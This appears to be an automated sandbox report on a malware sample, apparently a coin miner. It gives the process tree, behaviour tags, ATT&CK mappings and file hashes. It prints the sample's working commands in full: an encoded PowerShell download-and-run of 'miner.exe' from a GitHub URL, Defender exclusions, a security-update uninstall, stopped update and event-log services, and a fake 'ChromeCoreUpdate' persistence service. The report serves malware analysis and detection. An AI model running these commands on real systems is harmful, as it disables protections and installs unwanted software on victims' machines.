description pid Process procid_target PID 4048 wrote to memory of 1384 4048 zxc.exe 82 PID 4048 wrote to memory of 1384 4048 zxc.exe 82 PID 1384 wrote to memory of 3040 1384 powershell.exe 84 PID 1384 wrote to memory of 3040 1384 powershell.exe 84 PID 4584 wrote to memory of 3208 4584 cmd.exe 99 PID 4584 wrote to memory of 3208 4584 cmd.exe 99 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 3040 wrote to memory of 4272 3040 xdwd.exe 112 PID 4272 wrote to memory of 616 4272 dialer.exe 5 PID 4272 wrote to memory of 664 4272 dialer.exe 7 PID 4272 wrote to memory of 960 4272 dialer.exe 12 PID 4272 wrote to memory of 340 4272 dialer.exe 13 PID 4272 wrote to memory of 740 4272 dialer.exe 14 PID 4272 wrote to memory of 896 4272 dialer.exe 15 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 4272 wrote to memory of 1120 4272 dialer.exe 17 PID 4272 wrote to memory of 1140 4272 dialer.exe 18 PID 4272 wrote to memory of 1148 4272 dialer.exe 19 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 4272 wrote to memory of 1156 4272 dialer.exe 20 PID 4272 wrote to memory of 1232 4272 dialer.exe 21 PID 4272 wrote to memory of 1316 4272 dialer.exe 22 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 4272 wrote to memory of 1324 4272 dialer.exe 23 PID 664 wrote to memory of 2856 664 lsass.exe 49 PID 4272 wrote to memory of 1388 4272 dialer.exe 24 PID 4272 wrote to memory of 1448 4272 dialer.exe 25 PID 4272 wrote to memory of 1528 4272 dialer.exe 26 PID 4272 wrote to memory of 1536 4272 dialer.exe 27 PID 4272 wrote to memory of 1680 4272 dialer.exe 28 PID 4272 wrote to memory of 1712 4272 dialer.exe 29 PID 4272 wrote to memory of 1764 4272 dialer.exe 30 PID 4272 wrote to memory of 1800 4272 dialer.exe 31 PID 4272 wrote to memory of 1848 4272 dialer.exe 32 PID 4272 wrote to memory of 1900 4272 dialer.exe 33 PID 4272 wrote to memory of 1912 4272 dialer.exe 34 PID 4272 wrote to memory of 2016 4272 dialer.exe 35 PID 4272 wrote to memory of 1456 4272 dialer.exe 36 PID 4272 wrote to memory of 2080 4272 dialer.exe 37 PID 4272 wrote to memory of 2116 4272 dialer.exe 38 PID 4272 wrote to memory of 2224 4272 dialer.exe 40 PID 4272 wrote to memory of 2240 4272 dialer.exe 41 PID 4272 wrote to memory of 2560 4272 dialer.exe 42 PID 4272 wrote to memory of 2568 4272 dialer.exe 43 PID 4272 wrote to memory of 2588 4272 dialer.exe 44 PID 4272 wrote to memory of 2668 4272 dialer.exe 45 PID 4272 wrote to memory of 2788 4272 dialer.exe 46 PID 4272 wrote to memory of 2804 4272 dialer.exe 47 PID 4272 wrote to memory of 2812 4272 dialer.exe 48 PID 4272 wrote to memory of 2856 4272 dialer.exe 49 PID 4272 wrote to memory of 2876 4272 dialer.exe 50 PID 4272 wrote to memory of 2888 4272 dialer.exe 51 PID 4272 wrote to memory of 2904 4272 dialer.exe 52 PID 4272 wrote to memory of 3024 4272 dialer.exe 53 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:340
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:664
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:896
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1120
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1140
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1156 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1324
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1448
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2588
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1528
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1536
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1680
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1800
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1848
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1900
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2016
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2080
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2224
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2788
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2812
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2856
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2888
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2904
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3024
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3520
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3588
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C:\Users\Admin\AppData\Local\Temp\zxc.exe"C:\Users\Admin\AppData\Local\Temp\zxc.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcgByAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdgB2AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAcwB3AHMAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBCAHkAdABlAHIAQwBvAGQAZQAvAG0AaQBuAGUAcgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBtAGkAbgBlAHIALgBlAHgAZQAnACwAIAA8ACMAZQBrAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBkAHoAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBxAHUAcAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB4AGQAdwBkAC4AZQB4AGUAJwApACkAPAAjAHgAcgBhACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGsAaQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBlAHgAZQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwB4AGQAdwBkAC4AZQB4AGUAJwApADwAIwBkAHYAdAAjAD4A"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1384 -
C:\Users\Admin\AppData\Roaming\xdwd.exe"C:\Users\Admin\AppData\Roaming\xdwd.exe"4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3040 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2780
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵PID:3208
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
PID:4900
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
PID:3832
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
PID:4836
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
PID:2432
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
PID:4176
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4336
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3684
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:60
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3856
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4272
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "ChromeCoreUpdate"5⤵
- Launches sc.exe
PID:1972
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "ChromeCoreUpdate" binpath= "C:\ProgramData\Updater\Updater32.exe" start= "auto"5⤵
- Launches sc.exe
PID:4044
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
PID:1932
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "ChromeCoreUpdate"5⤵
- Launches sc.exe
PID:3368 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:1780
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3748
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3928
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3004
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4212
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:548
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2028
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4248
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2328
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2864
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:1776
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1100
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3508
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1744
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:3992
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Checks processor information in registry
- Enumerates system info in registry
PID:3056
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:1728
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:3172
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C:\ProgramData\Updater\Updater32.exeC:\ProgramData\Updater\Updater32.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4164 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3648 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4084
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵PID:4816
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C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵PID:1636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:5084
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:4916
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:5104 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4124
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2136
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2624 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4960
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3476 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3388
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4488 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2556
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4648 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1612
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3536 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4220
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4764
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C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe2⤵PID:1580
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C:\Windows\system32\dialer.exedialer.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2680
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C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exeC:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding1⤵
- Drops file in Windows directory
PID:3684
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
2Service Execution
2Defense Evasion
Impair Defenses
1Indicator Removal
1Clear Windows Event Logs
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
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Downloads
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Filesize
3KB
MD5556084f2c6d459c116a69d6fedcc4105
SHA1633e89b9a1e77942d822d14de6708430a3944dbc
SHA25688cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
SHA5120f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
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Filesize
1KB
MD57dd8e4f2517f6deec77fba323ac37f81
SHA1e264fb735ddbf68945de4aa62f378fb262fea889
SHA2569ba62fdde3544a604a0ea671bcd5cf62ced3439a1d02d5069ae8b6b5c8652ea6
SHA512b638efaf087717eca0da414824741291a2043e254ade639182c21d35f23e3c24abffb79b43f42fb0fbe5a78aa5b357a4e6f64e4e7e8ef511143a2565bb86185e
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
5.2MB
MD5adc76054a5b22974290b540fca4adf19
SHA1a39741c3946cda5caae31ca9711cadd64720bbe5
SHA256b036f0b4078be1866cbba1b3a4d1098629668e8ce4bd0167c308f00b7d86adb7
SHA5120369bee44ce5fe7c077af194fd7200e7b413cd807d8c529a69031705ada18572d808e46222aaf557110a86ab65ca437670e5ea3168d8dcac0c4222ae301be631
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C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Filesize328B
MD56c0b9a9364f9d2eb4f779e41a2cffd52
SHA199eaaa95f1492f3493d3ba30856a5dfee23dfb43
SHA256e98864cd2a3b0863275c8ec4c0a495105b3c8eac4762598627331a87eab298e4
SHA512ef91b1d17f9129732e2a7b76ffee47b769b4a634c1994611e8f56094cd60cae6b73488775a402125ae3fb49f63928d87f59bb2e5dbd6c178bb0e2e0b1937bb48
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C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
Filesize330B
MD5585bc56fcd3b8322a82b3dee66a4603d
SHA1909d0333623c4c3cbdd6529d8a9a4da736cad3b9
SHA25688b8f9507cd88cfc7ad5575ca8de634a34e8c93022bf9ad131e231654b6687db
SHA512e3e960198812364adf64303ec9087291c1a5c0308412a1a1262cbb54f72189a035fc60d0c133d77074d939b39ba39b0b1803ada33be75e5aa5dde7f08bc3118b
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04
Filesize412B
MD5408d40209e02cf94c7bdec6d359c3898
SHA126c0b913c911751e069e586864fc40e93e895629
SHA2565178bc60dd1bd9182747c4b78427122caf097534164a1645c2a59bfd66dcf49f
SHA5129a0687ea8a2a83f1be7375094837c6758dbb35e123a0083bf6e895e02cb54ff5c82e3d2194fa22444c4d38e84cc3e68b384335492a62db2a210c4b80c9b1d195